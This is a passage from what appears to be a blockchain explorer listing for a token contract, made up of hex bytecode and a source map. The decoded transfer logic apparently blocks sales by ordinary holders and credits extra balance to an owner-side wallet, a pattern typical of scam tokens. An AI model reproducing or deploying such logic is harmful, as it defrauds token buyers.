1000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806118a157607f821691505b6020821081036118b4576118b361185d565b5b50919050565b5f815190506118c881611619565b92915050565b5f602082840312156118e3576118e26115e5565b5b5f6118f0848285016118ba565b91505092915050565b5f60408201905061190c5f8301856117be565b61191960208301846117be565b9392505050565b5f819050919050565b5f819050919050565b5f61194c61194761194284611920565b611929565b611643565b9050919050565b61195c81611932565b82525050565b5f60c0820190506119755f8301896117be565b61198260208301886116e7565b61198f6040830187611953565b61199c6060830186611953565b6119a960808301856117be565b6119b660a08301846116e7565b979650505050505050565b5f815190506119cf8161164c565b92915050565b5f5f5f606084860312156119ec576119eb6115e5565b5b5f6119f9868287016119c1565b9350506020611a0a868287016119c1565b9250506040611a1b868287016119c1565b9150509250925092565b5f604082019050611a385f8301856117be565b611a4560208301846116e7565b9392505050565b611a55816116b4565b8114611a5f575f5ffd5b50565b5f81519050611a7081611a4c565b92915050565b5f60208284031215611a8b57611a8a6115e5565b5b5f611a9884828501611a62565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611afb60268361155f565b9150611b0682611aa1565b604082019050919050565b5f6020820190508181035f830152611b2881611aef565b9050919050565b7f4552523a207a65726f20616464726573730000000000000000000000000000005f82015250565b5f611b6360118361155f565b9150611b6e82611b2f565b602082019050919050565b5f6020820190508181035f830152611b9081611b57565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611bcb60208361155f565b9150611bd682611b97565b602082019050919050565b5f6020820190508181035f830152611bf881611bbf565b9050919050565b7f4552523a205573696e67203020616464726573732100000000000000000000005f82015250565b5f611c3360158361155f565b9150611c3e82611bff565b602082019050919050565b5f6020820190508181035f830152611c6081611c27565b9050919050565b7f546f6b656e2076616c7565206d75737420626520686967686572207468616e205f8201527f7a65726f2e000000000000000000000000000000000000000000000000000000602082015250565b5f611cc160258361155f565b9150611ccc82611c67565b604082019050919050565b5f6020820190508181035f830152611cee81611cb5565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611d2c82611643565b9150611d3783611643565b9250828203905081811115611d4f57611d4e611cf5565b5b92915050565b5f611d5f82611643565b9150611d6a83611643565b9250828201905080821115611d8257611d81611cf5565b5b9291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202fde8badc4c8adb1c5c07ab63221bc3461ba83826992c19f00ec384a36fde28f64736f6c634300081c0033

Deployed Bytecode

0x6080604052600436106100f6575f3560e01c80638da5cb5b11610089578063c9567bf911610058578063c9567bf914610319578063dd62ed3e1461032f578063e962a1041461036b578063f2fde38b146103a7576100fd565b80638da5cb5b1461025f57806395d89b4114610289578063a241eaa8146102b3578063a9059cbb146102dd576100fd565b806323b872dd116100c557806323b872dd146101a7578063313ce567146101e357806370a082311461020d578063715018a614610249576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806320800a0014610191576100fd565b366100fd57005b5f5ffd5b34801561010c575f5ffd5b506101156103cf565b60405161012291906115c5565b60405180910390f35b348015610136575f5ffd5b50610151600480360381019061014c9190611676565b61045f565b60405161015e91906116ce565b60405180910390f35b348015610172575f5ffd5b5061017b61047c565b60405161018891906116f6565b60405180910390f35b34801561019c575f5ffd5b506101a5610485565b005b3480156101b2575f5ffd5b506101cd60048036038101906101c8919061170f565b6104bf565b6040516101da91906116ce565b60405180910390f35b3480156101ee575f5ffd5b506101f7610593565b604051610204919061177a565b60405180910390f35b348015610218575f5ffd5b50610233600480360381019061022e9190611793565b6105a8565b60405161024091906116f6565b60405180910390f35b348015610254575f5ffd5b5061025d6105ee565b005b34801561026a575f5ffd5b50610273610601565b60405161028091906117cd565b60405180910390f35b348015610294575f5ffd5b5061029d610628565b6040516102aa91906115c5565b60405180910390f35b3480156102be575f5ffd5b506102c76106b8565b6040516102d49190611806565b60405180910390f35b3480156102e8575f5ffd5b5061030360048036038101906102fe9190611676565b6106dd565b60405161031091906116ce565b60405180910390f35b348015610324575f5ffd5b5061032d6106fa565b005b34801561033a575f5ffd5b506103556004803603810190610350919061181f565b610af0565b60405161036291906116f6565b60405180910390f35b348015610376575f5ffd5b50610391600480360381019061038c9190611793565b610b72565b60405161039e91906116ce565b60405180910390f35b3480156103b2575f5ffd5b506103cd60048036038101906103c89190611793565b610b8f565b005b6060600780546103de9061188a565b80601f016020809104026020016040519081016040528092919081815260200182805461040a9061188a565b80156104555780601f1061042c57610100808354040283529160200191610455565b820191905f5260205f20905b81548152906001019060200180831161043857829003601f168201915b5050505050905090565b5f61047261046b610c11565b8484610c18565b6001905092915050565b5f600a54905090565b61048d610da6565b5f4790506104bc60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682610e24565b50565b5f6104cb848484610e6c565b610588846104d7610c11565b61058385604051806060016040528060288152602001611d896028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61053a610c11565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f659092919063ffffffff16565b610c18565b600190509392505050565b5f60095f9054906101000a900460ff16905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6105f6610da6565b6105ff5f610fb9565b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600880546106379061188a565b80601f01602080910402602001604051908101604052809291908181526020018280546106639061188a565b80156106ae5780601f10610685576101008083540402835291602001916106ae565b820191905f5260205f20905b81548152906001019060200180831161069157829003601f168201915b5050505050905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6106f06106e9610c11565b8484610e6c565b6001905092915050565b610702610da6565b73591cf6942c422fa53e8d81c62a9692d7bea72f6160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506107843060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610c18565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ee573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081291906118ce565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610898573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108bc91906118ce565b6040518363ffffffff1660e01b81526004016108d99291906118f9565b6020604051808303815f875af11580156108f5573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061091991906118ce565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306109a0306105a8565b5f5f6109aa610601565b426040518863ffffffff1660e01b81526004016109cc96959493929190611962565b60606040518083038185885af11580156109e8573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a0d91906119d5565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610aad929190611a25565b6020604051808303815f875af1158015610ac9573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610aed9190611a76565b50565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6003602052805f5260405f205f915054906101000a900460ff1681565b610b97610da6565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfc90611b11565b60405180910390fd5b610c0e81610fb9565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610c8057505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610cbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb690611b79565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d9991906116f6565b60405180910390a3505050565b610dae610c11565b73ffffffffffffffffffffffffffffffffffffffff16610dcc610601565b73ffffffffffffffffffffffffffffffffffffffff1614610e22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1990611be1565b60405180910390fd5b565b8173ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015610e67573d5f5f3e3d5ffd5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610ed457505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610f13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0a90611c49565b60405180910390fd5b5f8111610f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4c90611cd7565b60405180910390fd5b610f6083838361107a565b505050565b5f838311158290610fac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa391906115c5565b60405180910390fd5b5082840390509392505050565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561111d575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b6115265760045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156111c9575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b1561139e5761121e8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461152b90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506112d2600b5460015f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461154090919063ffffffff16565b60015f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161139191906116f6565b60405180910390a3611526565b6113ee8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461152b90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061147f8160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461154090919063ffffffff16565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161151d91906116f6565b60405180910390a35b505050565b5f81836115389190611d22565b905092915050565b5f818361154d9190611d55565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61159782611555565b6115a1818561155f565b93506115b181856020860161156f565b6115ba8161157d565b840191505092915050565b5f6020820190508181035f8301526115dd818461158d565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611612826115e9565b9050919050565b61162281611608565b811461162c575f5ffd5b50565b5f8135905061163d81611619565b92915050565b5f819050919050565b61165581611643565b811461165f575f5ffd5b50565b5f813590506116708161164c565b92915050565b5f5f6040838503121561168c5761168b6115e5565b5b5f6116998582860161162f565b92505060206116aa85828601611662565b9150509250929050565b5f8115159050919050565b6116c8816116b4565b82525050565b5f6020820190506116e15f8301846116bf565b92915050565b6116f081611643565b82525050565b5f6020820190506117095f8301846116e7565b92915050565b5f5f5f60608486031215611726576117256115e5565b5b5f6117338682870161162f565b93505060206117448682870161162f565b925050604061175586828701611662565b9150509250925092565b5f60ff82169050919050565b6117748161175f565b82525050565b5f60208201905061178d5f83018461176b565b92915050565b5f602082840312156117a8576117a76115e5565b5b5f6117b58482850161162f565b91505092915050565b6117c781611608565b82525050565b5f6020820190506117e05f8301846117be565b92915050565b5f6117f0826115e9565b9050919050565b611800816117e6565b82525050565b5f6020820190506118195f8301846117f7565b92915050565b5f5f60408385031215611835576118346115e5565b5b5f6118428582860161162f565b92505060206118538582860161162f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806118a157607f821691505b6020821081036118b4576118b361185d565b5b50919050565b5f815190506118c881611619565b92915050565b5f602082840312156118e3576118e26115e5565b5b5f6118f0848285016118ba565b91505092915050565b5f60408201905061190c5f8301856117be565b61191960208301846117be565b9392505050565b5f819050919050565b5f819050919050565b5f61194c61194761194284611920565b611929565b611643565b9050919050565b61195c81611932565b82525050565b5f60c0820190506119755f8301896117be565b61198260208301886116e7565b61198f6040830187611953565b61199c6060830186611953565b6119a960808301856117be565b6119b660a08301846116e7565b979650505050505050565b5f815190506119cf8161164c565b92915050565b5f5f5f606084860312156119ec576119eb6115e5565b5b5f6119f9868287016119c1565b9350506020611a0a868287016119c1565b9250506040611a1b868287016119c1565b9150509250925092565b5f604082019050611a385f8301856117be565b611a4560208301846116e7565b9392505050565b611a55816116b4565b8114611a5f575f5ffd5b50565b5f81519050611a7081611a4c565b92915050565b5f60208284031215611a8b57611a8a6115e5565b5b5f611a9884828501611a62565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611afb60268361155f565b9150611b0682611aa1565b604082019050919050565b5f6020820190508181035f830152611b2881611aef565b9050919050565b7f4552523a207a65726f20616464726573730000000000000000000000000000005f82015250565b5f611b6360118361155f565b9150611b6e82611b2f565b602082019050919050565b5f6020820190508181035f830152611b9081611b57565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611bcb60208361155f565b9150611bd682611b97565b602082019050919050565b5f6020820190508181035f830152611bf881611bbf565b9050919050565b7f4552523a205573696e67203020616464726573732100000000000000000000005f82015250565b5f611c3360158361155f565b9150611c3e82611bff565b602082019050919050565b5f6020820190508181035f830152611c6081611c27565b9050919050565b7f546f6b656e2076616c7565206d75737420626520686967686572207468616e205f8201527f7a65726f2e000000000000000000000000000000000000000000000000000000602082015250565b5f611cc160258361155f565b9150611ccc82611c67565b604082019050919050565b5f6020820190508181035f830152611cee81611cb5565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611d2c82611643565b9150611d3783611643565b9250828203905081811115611d4f57611d4e611cf5565b5b92915050565b5f611d5f82611643565b9150611d6a83611643565b9250828201905080821115611d8257611d81611cf5565b5b9291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202fde8badc4c8adb1c5c07ab63221bc3461ba83826992c19f00ec384a36fde28f64736f6c634300081c0033

Deployed Bytecode Sourcemap

7322:5227:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9055:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9891:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9332:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12272:145;;;;;;;;;;;;;:::i;:::-;;10060:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9241:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9440:117;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6042:103;;;;;;;;;;;;;:::i;:::-;;5807:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9146;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7637:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9565:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11703:560;;;;;;;;;;;;;:::i;:::-;;9740:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7574:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6153:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9055:83;9092:13;9125:5;9118:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9055:83;:::o;9891:161::-;9966:4;9983:39;9992:12;:10;:12::i;:::-;10006:7;10015:6;9983:8;:39::i;:::-;10040:4;10033:11;;9891:161;;;;:::o;9332:100::-;9385:7;9412:12;;9405:19;;9332:100;:::o;12272:145::-;5766:13;:11;:13::i;:::-;12327:19:::1;12349:21;12327:43;;12381:28;12389:7;;;;;;;;;;;12397:11;12381:7;:28::i;:::-;12314:103;12272:145::o:0;10060:313::-;10158:4;10175:36;10185:6;10193:9;10204:6;10175:9;:36::i;:::-;10222:121;10231:6;10239:12;:10;:12::i;:::-;10253:89;10291:6;10253:89;;;;;;;;;;;;;;;;;:11;:19;10265:6;10253:19;;;;;;;;;;;;;;;:33;10273:12;:10;:12::i;:::-;10253:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;10222:8;:121::i;:::-;10361:4;10354:11;;10060:313;;;;;:::o;9241:83::-;9282:5;9307:9;;;;;;;;;;;9300:16;;9241:83;:::o;9440:117::-;9506:7;9533;:16;9541:7;9533:16;;;;;;;;;;;;;;;;9526:23;;9440:117;;;:::o;6042:103::-;5766:13;:11;:13::i;:::-;6107:30:::1;6134:1;6107:18;:30::i;:::-;6042:103::o:0;5807:87::-;5853:7;5880:6;;;;;;;;;;;5873:13;;5807:87;:::o;9146:::-;9185:13;9218:7;9211:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9146:87;:::o;7637:30::-;;;;;;;;;;;;;:::o;9565:167::-;9643:4;9660:42;9670:12;:10;:12::i;:::-;9684:9;9695:6;9660:9;:42::i;:::-;9720:4;9713:11;;9565:167;;;;:::o;11703:560::-;5766:13;:11;:13::i;:::-;11795:42:::1;11758:15;;:80;;;;;;;;;;;;;;;;;;11849:63;11866:4;11881:15;;;;;;;;;;;11899:12;;11849:8;:63::i;:::-;11957:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11939:55;;;12003:4;12010:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11939:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11923:13;;:110;;;;;;;;;;;;;;;;;;12044:15;;;;;;;;;;;:31;;;12083:21;12114:4;12120:24;12138:4;12120:9;:24::i;:::-;12145:1;12147;12149:7;:5;:7::i;:::-;12157:15;12044:129;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;12191:13;;;;;;;;;;;12184:29;;;12222:15;;;;;;;;;;;12240:14;12184:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11703:560::o:0;9740:143::-;9821:7;9848:11;:18;9860:5;9848:18;;;;;;;;;;;;;;;:27;9867:7;9848:27;;;;;;;;;;;;;;;;9841:34;;9740:143;;;;:::o;7574:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;6153:201::-;5766:13;:11;:13::i;:::-;6262:1:::1;6242:22;;:8;:22;;::::0;6234:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;6318:28;6337:8;6318:18;:28::i;:::-;6153:201:::0;:::o;5220:98::-;5273:7;5300:10;5293:17;;5220:98;:::o;10424:266::-;10536:1;10519:19;;:5;:19;;;;:44;;;;;10561:1;10542:21;;:7;:21;;;;10519:44;10511:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;10626:6;10596:11;:18;10608:5;10596:18;;;;;;;;;;;;;;;:27;10615:7;10596:27;;;;;;;;;;;;;;;:36;;;;10664:7;10648:32;;10657:5;10648:32;;;10673:6;10648:32;;;;;;:::i;:::-;;;;;;;;10424:266;;;:::o;5902:132::-;5977:12;:10;:12::i;:::-;5966:23;;:7;:5;:7::i;:::-;:23;;;5958:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5902:132::o;12429:115::-;12509:6;:15;;:23;12525:6;12509:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12429:115;;:::o;10698:320::-;10838:1;10822:18;;:4;:18;;;;:38;;;;;10858:1;10844:16;;:2;:16;;;;10822:38;10814:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;10914:1;10905:6;:10;10897:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;10980:30;10995:4;11000:2;11003:6;10980:14;:30::i;:::-;10698:320;;;:::o;3940:206::-;4026:7;4084:1;4079;:6;;4087:12;4071:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;4126:1;4122;:5;4115:12;;3940:206;;;;;:::o;6362:191::-;6436:16;6455:6;;;;;;;;;;;6436:25;;6481:8;6472:6;;:17;;;;;;;;;;;;;;;;;;6536:8;6505:40;;6526:8;6505:40;;;;;;;;;;;;6425:128;6362:191;:::o;11032:656::-;11152:13;;;;;;;;;;;11139:26;;:9;:26;;;:56;;;;;11170:17;:25;11188:6;11170:25;;;;;;;;;;;;;;;;;;;;;;;;;11169:26;11139:56;11212:7;11136:94;11256:7;;;;;;;;;;;11243:20;;:9;:20;;;:47;;;;;11277:13;;;;;;;;;;;11267:23;;:6;:23;;;11243:47;11240:262;;;11325:27;11345:6;11325:7;:15;11333:6;11325:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;11307:7;:15;11315:6;11307:15;;;;;;;;;;;;;;;:45;;;;11386:28;11407:6;;11386:7;:16;11394:7;;;;;;;;;;;11386:16;;;;;;;;;;;;;;;;:20;;:28;;;;:::i;:::-;11367:7;:16;11375:7;;;;;;;;;;;11367:16;;;;;;;;;;;;;;;:47;;;;11451:9;11434:35;;11443:6;11434:35;;;11462:6;11434:35;;;;;;:::i;:::-;;;;;;;;11484:7;;11240:262;11530:27;11550:6;11530:7;:15;11538:6;11530:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;11512:7;:15;11520:6;11512:15;;;;;;;;;;;;;;;:45;;;;11589:30;11612:6;11589:7;:18;11597:9;11589:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;11568:7;:18;11576:9;11568:18;;;;;;;;;;;;;;;:51;;;;11662:9;11645:35;;11654:6;11645:35;;;11673:6;11645:35;;;;;;:::i;:::-;;;;;;;;11032:656;;;;:::o;3622:98::-;3680:7;3711:1;3707;:5;;;;:::i;:::-;3700:12;;3622:98;;;;:::o;3516:::-;3574:7;3605:1;3601;:5;;;;:::i;:::-;3594:12;;3516:98;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:329::-;4805:6;4854:2;4842:9;4833:7;4829:23;4825:32